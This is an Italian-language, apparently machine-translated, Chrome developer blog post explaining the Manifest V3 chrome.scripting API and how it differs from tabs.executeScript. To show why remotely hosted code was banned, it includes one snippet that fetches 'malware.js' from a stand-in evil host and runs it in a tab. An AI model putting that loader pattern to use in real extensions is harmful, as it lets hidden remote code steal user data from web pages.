Novità: chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 introduce una serie di modifiche alla piattaforma di estensione di Chrome. In questo post, esploreremo le motivazioni e i cambiamenti introdotti da uno dei cambiamenti più degni di nota: dell'API chrome.scripting.

Che cos'è chrome.scripting?

Come potrebbe suggerire il nome, chrome.scripting è un nuovo spazio dei nomi introdotto in Manifest V3 responsabile delle funzionalità di script e stile di inserimento.

Gli sviluppatori che hanno creato estensioni di Chrome in passato potrebbero conoscere i metodi Manifest V2 sull'API Tabs come chrome.tabs.executeScript e chrome.tabs.insertCSS. Questi metodi consentono alle estensioni di inserire script e rispettivamente in pagine. In Manifest V3, queste funzionalità sono state spostate chrome.scripting e prevediamo di espandere questa API con alcune nuove funzionalità in futuro.

Perché creare una nuova API?

Con un cambiamento come questo, una delle prime domande che si pongono è: "perché?".

A causa di diversi fattori, il team di Chrome ha deciso di introdurre un nuovo spazio dei nomi per lo scripting. Innanzitutto, l'API Tabs è un po' come un cassetto della posta indesiderata per le funzionalità. In secondo luogo, dovevamo rompere modifiche all'API executeScript esistente. In terzo luogo, sapevamo che volevamo ampliare lo scripting per le estensioni. Insieme, queste preoccupazioni hanno chiaramente definito la necessità di un nuovo spazio dei nomi di scripting autopromozionali.

Il cassetto della spazzatura

Uno dei problemi che ha infastidito il team delle estensioni negli ultimi anni è che L'API chrome.tabs è sovraccarica. Quando è stata introdotta per la prima volta questa API, la maggior parte delle funzionalità forniti erano correlati al concetto generale di scheda del browser. Anche a quel punto, però, era una un piccolo bagaglio di caratteristiche e, nel corso degli anni, questa collezione è cresciuta.

Al momento del rilascio di Manifest V3, l'API Tabs era cresciuta fino a coprire la gestione di base delle schede, gestione della selezione, organizzazione delle finestre, messaggistica, controllo dello zoom, navigazione di base, script con altre funzionalità più piccole. Questi sono tutti aspetti importanti, ma può essere un po' faticoso agli sviluppatori quando stanno muovendo i primi passi e per il team di Chrome durante la manutenzione della piattaforma tieni conto delle richieste della community degli sviluppatori.

Un altro fattore di complicazione è che l'autorizzazione tabs non è ben compresa. Mentre molti altri autorizzazioni limitano l'accesso a una determinata API (ad es. storage), questa autorizzazione è un po' insolito in quanto concede all'estensione l'accesso solo a proprietà sensibili nelle istanze di schede (e influisce anche sull'API Windows). Comprensibilmente, molti sviluppatori di estensioni pensano erroneamente ha bisogno di questa autorizzazione per accedere a metodi nell'API Tabs come chrome.tabs.create oppure in modo più tedesco, chrome.tabs.executeScript. Lo spostamento della funzionalità all'esterno dell'API Tabs consente di un po' di confusione.

Modifiche che provocano un errore

Durante la progettazione di Manifest V3, uno dei principali problemi che volevamo risolvere erano gli abusi e il malware abilitato da "codice ospitato in remoto" - codice eseguito, ma non incluso nell'estensione pacchetto. È comune per gli autori di estensioni illecite eseguire script recuperati da server remoti sottrarre i dati degli utenti, inserire malware ed eludere il rilevamento. Anche se anche i bravi giocatori usano questa capacità, alla fine sentiva che era semplicemente troppo pericoloso non rimanere così com'era.

Le estensioni possono eseguire codice non in bundle in un paio di modi diversi, ma quello pertinente ecco il metodo chrome.tabs.executeScript Manifest V2. Questo metodo consente a un'estensione Eseguire una stringa di codice arbitraria in una scheda di destinazione. Questo, a sua volta, significa che uno sviluppatore malintenzionato può recuperare uno script arbitrario da un server remoto ed eseguirlo all'interno di qualsiasi pagina a cui l'estensione può l'accesso. Sapevamo che per risolvere il problema del codice remoto funzionalità.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Volevamo anche risolvere altri problemi più delicati legati al design della versione Manifest V2. rendere l'API uno strumento più curato e prevedibile.

Anche se avremmo potuto modificare la firma di questo metodo all'interno dell'API Tabs, ritenevamo che tra a queste modifiche e all'introduzione di nuove funzionalità (trattate nella prossima sezione), una pausa netta sarebbe più facile per tutti.

Espansione delle funzionalità di scripting

Un altro aspetto da considerare nel processo di progettazione di Manifest V3 era il desiderio di introdurre funzionalità di scripting aggiuntive alla piattaforma di estensioni di Chrome. Nello specifico, volevamo aggiungere supporto per script di contenuti dinamici e per espandere le funzionalità del metodo executeScript.

Il supporto degli script di contenuti dinamici è da tempo una richiesta di funzionalità in Chromium. Oggi, Le estensioni di Chrome Manifest V2 e V3 possono dichiarare in modo statico solo gli script di contenuti nei propri manifest.json file; la piattaforma non offre un modo per registrare nuovi script di contenuti, la registrazione degli script di contenuti o l'annullamento della registrazione degli script di contenuti in fase di esecuzione.

Sapevamo di voler affrontare questa richiesta di funzionalità in Manifest V3, ma nessuno dei nostri Le API erano come la casa giusta. Abbiamo anche pensato di allinearci a Firefox sui loro script per i contenuti dell'API, ma molto presto abbiamo identificato un paio di svantaggi importanti di questo approccio. In primo luogo, sapevamo che avremmo avuto firme incompatibili (ad es. interruzione del supporto per code . In secondo luogo, la nostra API aveva un insieme diverso di vincoli di progettazione (ad es. la necessità di una registrazione per oltre il ciclo di vita di un service worker). Infine, questo spazio dei nomi ci piccherebbe una funzionalità di script dei contenuti per cui intendiamo creare script nelle estensioni in modo più ampio.

Per quanto riguarda executeScript, volevamo anche ampliare le potenzialità di questa API oltre alle schede Versione API supportata. In particolare, volevamo supportare funzioni e argomenti più facilmente scegliere come target frame specifici e scegliere come target non "tab" i contesti.

In futuro, stiamo anche valutando in che modo le estensioni possono interagire con le PWA installate e con altre contesti che non corrispondono concettualmente a "schede".

Modifiche tra tabs.executeScript e scripting.executeScript

Nel resto di questo post, vedremo più da vicino le analogie e le differenze tra chrome.tabs.executeScript e chrome.scripting.executeScript.

Iniezione di una funzione con argomenti

Durante la valutazione di come la piattaforma dovrebbe evolversi alla luce del codice ospitato in remoto limitazioni, volevamo trovare un equilibrio tra la potenza non elaborata dell'esecuzione arbitraria di codice e il consentendo script di contenuti statici. La soluzione che abbiamo adottato era consentire alle estensioni di inserire un funzionano da script di contenuti e passare un array di valori come argomenti.

Diamo un'occhiata a un esempio troppo semplificato. Supponiamo di voler inserire uno script che salutato l'utente per nome quando fa clic sul pulsante di azione dell'estensione (icona nella barra degli strumenti). In Manifest V2, potremmo costruire in modo dinamico una stringa di codice ed eseguire lo script nella .

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Le estensioni Manifest V3 non possono utilizzare codice non integrato nell'estensione, ma il nostro obiettivo era di preservare il dinamismo dovuto ai blocchi di codice arbitrari abilitati per le estensioni Manifest V2. La l'approccio di funzioni e argomenti rende possibile i revisori, gli utenti e altri utenti del Chrome Web Store le parti interessate a valutare con maggiore precisione i rischi derivanti da un'estensione consentendo al contempo agli sviluppatori di modificare il comportamento di runtime di un'estensione in base alle impostazioni utente o allo stato dell'applicazione.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Frame di targeting

Volevamo anche migliorare il modo in cui gli sviluppatori interagiscono con i frame nella nuova API. Manifest V2 versione di executeScript ha consentito agli sviluppatori di scegliere come target tutti i frame in una scheda o in una frame nella scheda. Puoi usare chrome.webNavigation.getAllFrames per visualizzare un elenco di tutti i frame in una scheda.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

In Manifest V3, abbiamo sostituito la proprietà intero facoltativa frameId nell'oggetto opzioni con un valore array di numeri interi frameIds facoltativo; Ciò consente agli sviluppatori di scegliere come target più frame in un chiamata API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Risultati di Script injection

Abbiamo anche migliorato la modalità di restituzione dei risultati di script injection in Manifest V3. Un "risultato" sono l'istruzione finale valutata in uno script. È come il valore restituito quando chiamare eval() o eseguire un blocco di codice nella console di Chrome DevTools, ma serializzato in modo da trasferire i risultati tra i vari processi.

In Manifest V2, executeScript e insertCSS restituivano un array di risultati di esecuzione semplici. Questo va bene se hai un solo punto di iniezione, ma l'ordine dei risultati non è garantito quando l'inserimento in più frame in modo che non c'è modo di capire quale risultato è associato a quale frame.

Per un esempio concreto, diamo un'occhiata agli array results restituiti da un file Manifest V2 e da Versione Manifest V3 della stessa estensione. Entrambe le versioni dell'estensione inseriscono lo stesso script dei contenuti e confronteremo i risultati sulla stessa pagina dimostrativa.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Quando eseguiamo la versione Manifest V2, riceviamo un array di [1, 0, 5]. Quale risultato corrisponde al frame principale e qual è per l'iframe? Il valore restituito non ce lo indica, quindi non sappiamo di sicuro.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Nella versione Manifest V3, results ora contiene un array di oggetti risultati invece di un array di ma solo i risultati della valutazione, e gli oggetti dei risultati identificano chiaramente l'ID del frame per ogni o il risultato finale. In questo modo, per gli sviluppatori sarà molto più facile utilizzare il risultato e intervenire su uno specifico frame.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Conclusione

I picchi delle versioni di Manifest rappresentano una rara opportunità per ripensare e modernizzare le API delle estensioni. Il nostro obiettivo Manifest V3 consente di migliorare l'esperienza dell'utente finale rendendo le estensioni più sicure e al contempo migliorando l'esperienza degli sviluppatori. Con l'introduzione di chrome.scripting in Manifest V3, siamo riusciti per facilitare la pulizia dell'API Tabs, per reinventare executeScript per una piattaforma di estensioni più sicura, e gettare le basi per nuove funzionalità di scripting che saranno disponibili entro la fine dell'anno.